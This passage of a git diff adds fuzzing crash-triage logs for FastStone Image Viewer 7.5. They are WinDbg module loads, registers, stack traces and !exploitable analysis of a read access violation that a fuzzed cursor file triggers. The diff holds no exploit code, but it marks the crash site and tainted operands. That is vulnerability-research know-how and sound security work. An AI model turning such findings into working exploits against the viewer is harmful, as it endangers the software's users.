00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1284.114c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07f07b10 edx=00003879 esi=ffdd0010 edi=0fceafd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.749491301075272800000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.2226e+030 -3.95979e+017 1.38711e-015 4.9275e-023 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fe8130 07f65930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0036f000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0036f000 1a9f50f2 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ce 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0036f000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/28687/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/28687/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..242d0f7 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/28687/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1284: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1284: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1284.114c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07f07b10 edx=00003879 esi=ffdd0010 edi=0fceafd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.749491301075272800000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.2226e+030 -3.95979e+017 1.38711e-015 4.9275e-023 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fe8130 07f65930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0036f000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0036f000 1a9f50f2 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ce 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0036f000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/28687/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/28687/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..5a2b549 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/28687/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2894/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2894/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2894/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2894/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2894/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..72d42ca Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2894/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2894/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2894/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..7906987 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2894/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,210 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Deferred srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols;srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffe`170c0000 00007ffe`172b0000 ntdll.dll +ModLoad: 00000000`77240000 00000000`773da000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b31000 C:\Windows\System32\verifier.dll 